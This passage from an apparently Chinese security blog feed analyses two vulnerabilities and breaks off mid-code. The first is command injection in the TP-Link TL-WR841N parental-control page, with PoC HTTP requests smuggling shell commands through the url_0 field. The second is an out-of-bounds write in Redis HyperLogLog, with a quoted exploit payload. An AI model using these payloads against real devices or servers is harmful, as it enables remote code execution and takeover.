class="string">&quot;url_%d&quot;</span>, v28);</span><br><span class="line">v29 = (<span class="keyword">char</span> *)httpGetEnv(a1, (<span class="keyword">int</span>)v53);</span><br><span class="line"><span class="comment">// 验证后存储</span></span><br><span class="line"><span class="built_in">strncpy</span>(v27, v31, <span class="number">30</span>);</span><br></pre></td></tr></table></figure><ol start="2"><li><p>命令构建 (0x4CCB44):</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sprintf(&amp;v35[v22],</span><br><span class="line">    &quot;-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN&quot;,</span><br><span class="line">    LanBridgeName, v27, v33);  &#x2F;&#x2F; v33 包含用户控制的 URL</span><br><span class="line">fprintf(parentCtrlScript, &quot;%s\n&quot;, v31);</span><br></pre></td></tr></table></figure></li><li><p>命令执行 (0x4CCED8):</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">execFormatCmd(&quot;sh &#x2F;tmp&#x2F;wr841n&#x2F;parent.sh&quot;);</span><br><span class="line">&#x2F;&#x2F; execFormatCmd → tp_systemEx → execve(&quot;&#x2F;bin&#x2F;sh&quot;, [&quot;sh&quot;, &quot;-c&quot;, cmd], 0)</span><br></pre></td></tr></table></figure><p>验证函数 swChkLegalDomain (0x4779C8)</p><p>白名单字符：”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-&gt;&lt;.,[]{}?/+=|\‘&quot;:;~!#$%()` &amp;</p></li></ol><p>  攻击向量</p><p>  攻击者可通过向 /userRpm/ParentCtrlRpm.htm 发送包含恶意 url_0 参数的请求来触发此漏洞，最终实现远程代码执行 (RCE)。</p><p>  POC HTTP 请求包</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/userRpm/ParentCtrlRpm.htm?Save=Save&amp;child_mac=AA-BB-CC-DD-EE-FF&amp;url_comment=test&amp;url_0=$(reboot)&amp;url_1=&amp;url_2=&amp;url_3=&amp;url_4=&amp;url_5=&amp;url_6=&amp;url_7=&amp;enable=1&amp;Changed=1&amp;SelIndex=0&amp;scheds_lists=0</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>192.168.0.1</span><br><span class="line"><span class="attribute">Authorization</span><span class="punctuation">: </span>Basic YWRtaW46YWRtaW4=</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>http://192.168.0.1/userRpm/ParentCtrlRpm.htm</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>Authorization=Basic%20YWRtaW46YWRtaW4%3D</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br></pre></td></tr></table></figure><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/GXMKBVFAJEUQVDRA/userRpm/ParentCtrlRpm.htm?child_mac=12-34-56-78-87-65&amp;lan_lists=888&amp;url_comment=test&amp;url_0=1+-j+RETURN;rm+/tmp/1;&amp;url_1=website2&amp;url_2=website3&amp;url_3=&amp;url_4=&amp;url_5=&amp;url_6=&amp;url_7=&amp;scheds_lists=255&amp;enable=1&amp;Changed=0&amp;SelIndex=1&amp;Page=1&amp;rule_mode=0&amp;Save=Save</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>192.168.113.130:8080</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>http://192.168.113.130:8080/APZJDUJBAXCTZZYB/userRpm/ParentCtrlRpm.htm?Add=Add&amp;Page=1</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br></pre></td></tr></table></figure><h2 id="补丁链接"><a href="#补丁链接" class="headerlink" title="补丁链接"></a>补丁链接</h2><p><a href="https://www.omadanetworks.com/uy/support/faq/4308/">https://www.omadanetworks.com/uy/support/faq/4308/</a><br><a href="https://www.tp-link.com/us/support/faq/4308/#:~:text=https%3A//static.tp%2Dlink.com/upload/firmware/">https://www.tp-link.com/us/support/faq/4308/#:~:text=https%3A//static.tp%2Dlink.com/upload/firmware/</a></p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.tp-link.com/us/support/faq/4365/<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/winmin/ida-pro-mcp<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.tp-link.com/us/support/download/tl-wr841n/v9/#Firmware<a href="#fnref:3" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="cve-2023-50224" scheme="https://bestwing.me/tags/cve-2023-50224/"/>
    
    <category term="cve-2025-9377" scheme="https://bestwing.me/tags/cve-2025-9377/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2025-32023 Redis  漏洞分析</title>
    <link href="https://bestwing.me/cve-2025-32023-redis-rce-via-out-of-bounds-write.html"/>
    <id>https://bestwing.me/cve-2025-32023-redis-rce-via-out-of-bounds-write.html</id>
    <published>2025-07-07T19:32:43.000Z</published>
    <updated>2026-02-07T05:48:02.242Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>漏洞分析版本： <code>commit a0a6f23d997b024689ba157916837f493a593a34 (HEAD, tag: 7.4.2)</code></p><p>该漏洞是 PlaidCTF 2025 “Zerodeo” 题目。</p><h3 id="CVE-2025-32023"><a href="#CVE-2025-32023" class="headerlink" title="CVE-2025-32023"></a>CVE-2025-32023</h3><p>Redis 在调用 <code>pfmerge</code> 命令的时候会调用 <code>hyperloglog.c</code> 里的 <code>void pfmergeCommand(client *c)</code> 函数</p><p><code>pfmerge</code> <sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://redis.io/docs/latest/commands/pfmerge/">[1]</span></a></sup> 的作用是将多个 HLL 的数据合并到一个目标 key 中， 是用来合并多个 HypeLogLog （HLL）数据。 对格式错误的 HLL 进行操作时，可能会使 int i 中计数的总长度溢出为负值。这允许攻击者覆盖 HLL 结构上的负偏移量，从而导致栈/堆上的越界写。 (eg: <code>hllMerge()</code> 函数中会发生栈越界， <code>hllSparseToDense()</code> 发生堆越界写）</p><h4 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* PFMERGE dest src1 src2 src3 ... srcN =&gt; OK */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pfmergeCommand</span><span class="params">(client *c)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">uint8_t</span> max[HLL_REGISTERS];</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">hllhdr</span> *<span class="title">hdr</span>;</span></span><br><span class="line">    <span class="keyword">int</span> j;</span><br><span class="line">    <span class="keyword">int</span> use_dense = <span class="number">0</span>; <span class="comment">/* Use dense representation as target? */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Compute an HLL with M[i] = MAX(M[i]_j).</span></span><br><span class="line"><span class="comment">     * We store the maximum into the max array of registers. We&#x27;ll write</span></span><br><span class="line"><span class="comment">     * it to the target variable later. */</span></span><br><span class="line">    <span class="built_in">memset</span>(max,<span class="number">0</span>,<span class="keyword">sizeof</span>(max));</span><br><span class="line">    <span class="keyword">for</span> (j = <span class="number">1</span>; j &lt; c-&gt;argc; j++) &#123;</span><br><span class="line">...</span><br><span class="line">        <span class="comment">/* Merge with this HLL with our &#x27;max&#x27; HLL by setting max[i]</span></span><br><span class="line"><span class="comment">         * to MAX(max[i],hll[i]). */</span></span><br><span class="line">        <span class="keyword">if</span> (hllMerge(max,o) == C_ERR) &#123; <span class="comment">// hllMerge [1] stack oob write</span></span><br><span class="line">...</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Convert the destination object to dense representation if at least</span></span><br><span class="line"><span class="comment">     * one of the inputs was dense. */</span></span><br><span class="line">    <span class="keyword">if</span> (use_dense &amp;&amp; hllSparseToDense(o) == C_ERR) &#123; <span class="comment">// hllSparseToDense [2] heap oob write</span></span><br><span class="line">...</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 <code>hllSparseToDense</code> 函数中会造成堆相关的越界写， 作者的漏洞利用也是用的这个漏洞原语。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">hllSparseToDense</span><span class="params">(robj *o)</span> </span>&#123;</span><br><span class="line">    sds sparse = o-&gt;ptr, dense;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">hllhdr</span> *<span class="title">hdr</span>, *<span class="title">oldhdr</span> =</span> (struct hllhdr*)sparse;</span><br><span class="line">    <span class="keyword">int</span> idx = <span class="number">0</span>, runlen, regval;</span><br><span class="line">    <span class="keyword">uint8_t</span> *p = (<span class="keyword">uint8_t</span>*)sparse, *end = p+sdslen(sparse);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* If the representation is already the right one return ASAP. */</span></span><br><span class="line">    hdr = (struct hllhdr*) sparse;</span><br><span class="line">    <span class="keyword">if</span> (hdr-&gt;encoding == HLL_DENSE) <span class="keyword">return</span> C_OK;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Create a string of the right size filled with zero bytes.</span></span><br><span class="line"><span class="comment">     * Note that the cached cardinality is set to 0 as a side effect</span></span><br><span class="line"><span class="comment">     * that is exactly the cardinality of an empty HLL. */</span></span><br><span class="line">    dense = sdsnewlen(<span class="literal">NULL</span>,HLL_DENSE_SIZE);</span><br><span class="line">    hdr = (struct hllhdr*) dense;</span><br><span class="line">    *hdr = *oldhdr; <span class="comment">/* This will copy the magic and cached cardinality. */</span></span><br><span class="line">    hdr-&gt;encoding = HLL_DENSE;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Now read the sparse representation and set non-zero registers</span></span><br><span class="line"><span class="comment">     * accordingly. */</span></span><br><span class="line">    p += HLL_HDR_SIZE;</span><br><span class="line">    <span class="keyword">while</span>(p &lt; end) &#123;</span><br><span class="line">        <span class="keyword">if</span> (HLL_SPARSE_IS_ZERO(p)) &#123;</span><br><span class="line">            runlen = HLL_SPARSE_ZERO_LEN(p);</span><br><span class="line">            idx += runlen;</span><br><span class="line">            p++;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (HLL_SPARSE_IS_XZERO(p)) &#123;</span><br><span class="line">            runlen = HLL_SPARSE_XZERO_LEN(p);</span><br><span class="line">            idx += runlen;</span><br><span class="line">            p += <span class="number">2</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            runlen = HLL_SPARSE_VAL_LEN(p);</span><br><span class="line">            regval = HLL_SPARSE_VAL_VALUE(p);</span><br><span class="line">            <span class="keyword">if</span> ((runlen + idx) &gt; HLL_REGISTERS) <span class="keyword">break</span>; <span class="comment">/* Overflow. */</span></span><br><span class="line">            <span class="keyword">while</span>(runlen--) &#123;</span><br><span class="line">                HLL_DENSE_SET_REGISTER(hdr-&gt;registers,idx,regval);</span><br><span class="line">                idx++;</span><br><span class="line">            &#125;</span><br><span class="line">            p++;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* If the sparse representation was valid, we expect to find idx</span></span><br><span class="line"><span class="comment">     * set to HLL_REGISTERS. */</span></span><br><span class="line">    <span class="keyword">if</span> (idx != HLL_REGISTERS) &#123;</span><br><span class="line">        sdsfree(dense);</span><br><span class="line">        <span class="keyword">return</span> C_ERR;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Free the old representation and set the new one. */</span></span><br><span class="line">    sdsfree(o-&gt;ptr);</span><br><span class="line">    o-&gt;ptr = dense;</span><br><span class="line">    <span class="keyword">return</span> C_OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>while 循环之前是对 HLL 数据的的部分 header 解析，之后是一个转换过程。 HLL 数据是一种 SDS <sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://redis.io/docs/latest/operate/oss_and_stack/reference/internals/internals-sds/">[2]</span></a></sup>字符串的表示。 我们可以用 <code>set</code> 命令来伪造一个 HLL 数据。</p><p>while 循环过程中，是将 HLL 的数据从 <code>sparse</code> 转换成 <code>dense</code>。 在转换过程中：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span>(p &lt; end) &#123;</span><br><span class="line">    <span class="keyword">if</span> (HLL_SPARSE_IS_ZERO(p)) &#123;</span><br><span class="line">        runlen = HLL_SPARSE_ZERO_LEN(p);</span><br><span class="line">        idx += runlen;</span><br><span class="line">        p++;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (HLL_SPARSE_IS_XZERO(p)) &#123;</span><br><span class="line">        runlen = HLL_SPARSE_XZERO_LEN(p);</span><br><span class="line">        idx += runlen;</span><br><span class="line">        p += <span class="number">2</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        runlen = HLL_SPARSE_VAL_LEN(p);</span><br><span class="line">        regval = HLL_SPARSE_VAL_VALUE(p);</span><br><span class="line">        <span class="keyword">if</span> ((runlen + idx) &gt; HLL_REGISTERS) <span class="keyword">break</span>; <span class="comment">/* Overflow. */</span></span><br><span class="line">        <span class="keyword">while</span>(runlen--) &#123;</span><br><span class="line">            HLL_DENSE_SET_REGISTER(hdr-&gt;registers,idx,regval);</span><br><span class="line">            idx++;</span><br><span class="line">        &#125;</span><br><span class="line">        p++;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果当前的数据既不是 <code>HLL_SPARSE_IS_ZERO</code> 也不是 <code>HLL_SPARSE_IS_XZERO</code> 会进入到  <code>HLL_DENSE_SET_REGISTER</code> 函数， 在进到 <code>HLL_DENSE_SET_REGISTER</code> 函数之前有一个判断这个 idx 是否越界。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ((runlen + idx) &gt; HLL_REGISTERS) <span class="keyword">break</span>; <span class="comment">/* Overflow. */</span></span><br></pre></td></tr></table></figure><p><code>runlen</code> 和 <code>idx</code> 都是一个 int 类型的变量， ， 而 idx 的值可以在 <code>HLL_SPARSE_IS_ZERO</code> 或者 <code>HLL_SPARSE_IS_ZERO</code> 条件下语句中累加而成。</p><p>我们可以通过构造 HLL 数据， 让 idx 不断累加成一个负数。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-dd6ba4cc0ca1be110782321dd59e6908-4b5138.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-dd6ba4cc0ca1be110782321dd59e6908-4b5138.png" alt="image.png"></a></p><p>然后在 <code>HLL_DENSE_SET_REGISTER</code> 函数中就会发生越界</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HLL_DENSE_SET_REGISTER(p,regnum,val) do &#123; \</span></span><br><span class="line">    <span class="keyword">uint8_t</span> *_p = (<span class="keyword">uint8_t</span>*) p; \</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> _byte = (regnum)*HLL_BITS/<span class="number">8</span>; \</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> _fb = (regnum)*HLL_BITS&amp;<span class="number">7</span>; \</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> _fb8 = <span class="number">8</span> - _fb; \</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> _v = (val); \</span><br><span class="line">    _p[_byte] &amp;= ~(HLL_REGISTER_MAX &lt;&lt; _fb); \</span><br><span class="line">    _p[_byte] |= _v &lt;&lt; _fb; \</span><br><span class="line">    _p[_byte+<span class="number">1</span>] &amp;= ~(HLL_REGISTER_MAX &gt;&gt; _fb8); \</span><br><span class="line">    _p[_byte+<span class="number">1</span>] |= _v &gt;&gt; _fb8; \</span><br><span class="line">&#125; <span class="keyword">while</span>(<span class="number">0</span>)</span><br></pre></td></tr></table></figure><h4 id="PoC-构造"><a href="#PoC-构造" class="headerlink" title="PoC 构造"></a>PoC 构造</h4><h5 id="构造越界-payload"><a href="#构造越界-payload" class="headerlink" title="构造越界 payload"></a>构造越界 payload</h5><p>HLL 结构大致如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">// 1. HLL 总体结构</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">hllhdr</span> &#123;</span></span><br><span class="line">    <span class="keyword">char</span> magic[<span class="number">4</span>];      <span class="comment">/* &quot;HYLL&quot; */</span></span><br><span class="line">    <span class="keyword">uint8_t</span> encoding;   <span class="comment">/* HLL_DENSE or HLL_SPARSE. */</span></span><br><span class="line">    <span class="keyword">uint8_t</span> notused[<span class="number">3</span>]; <span class="comment">/* Reserved for future use, must be zero. */</span></span><br><span class="line">    <span class="keyword">uint8_t</span> card[<span class="number">8</span>];    <span class="comment">/* Cached cardinality, little endian. */</span></span><br><span class="line">    <span class="keyword">uint8_t</span> registers[]; <span class="comment">/* Data bytes. */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HLL_P 14 <span class="comment">/* The greater is P, the smaller the error. */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HLL_REGISTERS (1&lt;&lt;HLL_P) <span class="comment">/* With P=14, 16384 registers. */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HLL_DENSE_SIZE (HLL_HDR_SIZE+((HLL_REGISTERS*HLL_BITS+7)/8))</span></span><br><span class="line"></span><br><span class="line">  +---------+----------+-----------+--------+-----------</span><br><span class="line">  | <span class="string">&quot;HYLL&quot;</span>  | encoding |  noused   | card   | registers</span><br><span class="line">  +---------+----------+--------------------+-----------</span><br><span class="line">   <span class="number">4</span>字节      <span class="number">1</span>字节        <span class="number">3</span>字节       <span class="number">8</span>字节    <span class="number">12288</span>字节</span><br></pre></td></tr></table></figure><ol start="2"><li>稀疏（Sparse）编码<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+---------+----------+---------+---------+-------------------+</span><br><span class="line">| <span class="string">&quot;HYLL&quot;</span>  |  <span class="number">0x01</span>    | 保留<span class="number">3</span>字节 | 保留<span class="number">8</span>字节 | 指令流（<span class="number">2</span>字节/条） |</span><br><span class="line">+---------+----------+---------+---------+-------------------+</span><br></pre></td></tr></table></figure></li></ol><p>从作者的exploit<sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/leesh3288/CVE-2025-32023">[3]</span></a></sup>可以看到， 作者通过构造如下的  HLL sparse  让在代码在转换的时候能计算出来一个负数的idx</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pl = <span class="string">b&#x27;HYLL&#x27;</span>·</span><br><span class="line">pl += p8(HLL_SPARSE) + p8(<span class="number">0</span>)*<span class="number">3</span></span><br><span class="line">pl += p8(<span class="number">0</span>)*<span class="number">8</span></span><br><span class="line"><span class="keyword">assert</span> <span class="built_in">len</span>(pl) == <span class="number">0x10</span></span><br><span class="line">pl += xzero(<span class="number">0x4000</span>) * <span class="number">0x3fffd</span>   <span class="comment"># -0xc000</span></span><br><span class="line">pl += xzero(<span class="number">0xc000</span> - <span class="number">0x956c</span>)    <span class="comment"># -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)</span></span><br><span class="line">pl += p8(<span class="number">0b1_00011_00</span>)          <span class="comment"># runlen = 1, regval = 4 = SDS_TYPE_64 =&gt; -0x956b, overwrite sds:b type</span></span><br><span class="line">pl += xzero(<span class="number">0x156b</span>)             <span class="comment"># -0x8000</span></span><br><span class="line">pl += xzero(<span class="number">0x4000</span>) * <span class="number">3</span>         <span class="comment"># 0x4000</span></span><br><span class="line">time.sleep(<span class="number">1</span>)</span><br><span class="line">r.<span class="built_in">set</span>(<span class="string">&#x27;hll:expp&#x27;</span>, pl)</span><br></pre></td></tr></table></figure><p>可以看到有一段 <code>xzero(0x4000) * 0x3fffd</code> 的数据， 可以通过这样数据，就构造 0x3fffd 轮次的  0x4000 idx 累加， 在加上后面的 <code>pl += xzero(0xc000 - 0x956c)</code>  数据，最后就能构造一个负数的 <code>idx</code></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-bd320665ad21fcff8300fdc9e2e0270c-3ac98d.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-bd320665ad21fcff8300fdc9e2e0270c-3ac98d.png" alt="image.png"></a></p><h5 id="寻找越界写目标"><a href="#寻找越界写目标" class="headerlink" title="寻找越界写目标"></a>寻找越界写目标</h5><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-619c1f3013ee7e5cc66707310d32facb-5d6e72.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-11-619c1f3013ee7e5cc66707310d32facb-5d6e72.png" alt="image.png"></a></p><p>在单次下， 我们可以从 registers 往前越界写任意（可构造）偏移一个字节。 作者的思路是在 HLL 结构前面构造 sds 结构， 然后修改 sds 结构的 len 来进行类型混淆。</p><p>sds 有几种不同的类型， 其取长度的方式也不一样·</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">inline</span> <span class="keyword">size_t</span> <span class="title">sdslen</span><span class="params">(<span class="keyword">const</span> sds s)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> flags = s[<span class="number">-1</span>];</span><br><span class="line">    <span class="keyword">switch</span>(flags&amp;SDS_TYPE_MASK) &#123;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_5:</span><br><span class="line">            <span class="keyword">return</span> SDS_TYPE_5_LEN(flags);</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_8:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">8</span>,s)-&gt;len;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_16:</span><br><span class="line">            <span class="keyword">return</span> SDS_HDR(<span class="number">16</span>,s)-&gt;len;</span><br><span class="line">        <span class="keyword">case</span> SDS_TYPE_32:</span><br><span class="line">            <span class="keyword">return</span> 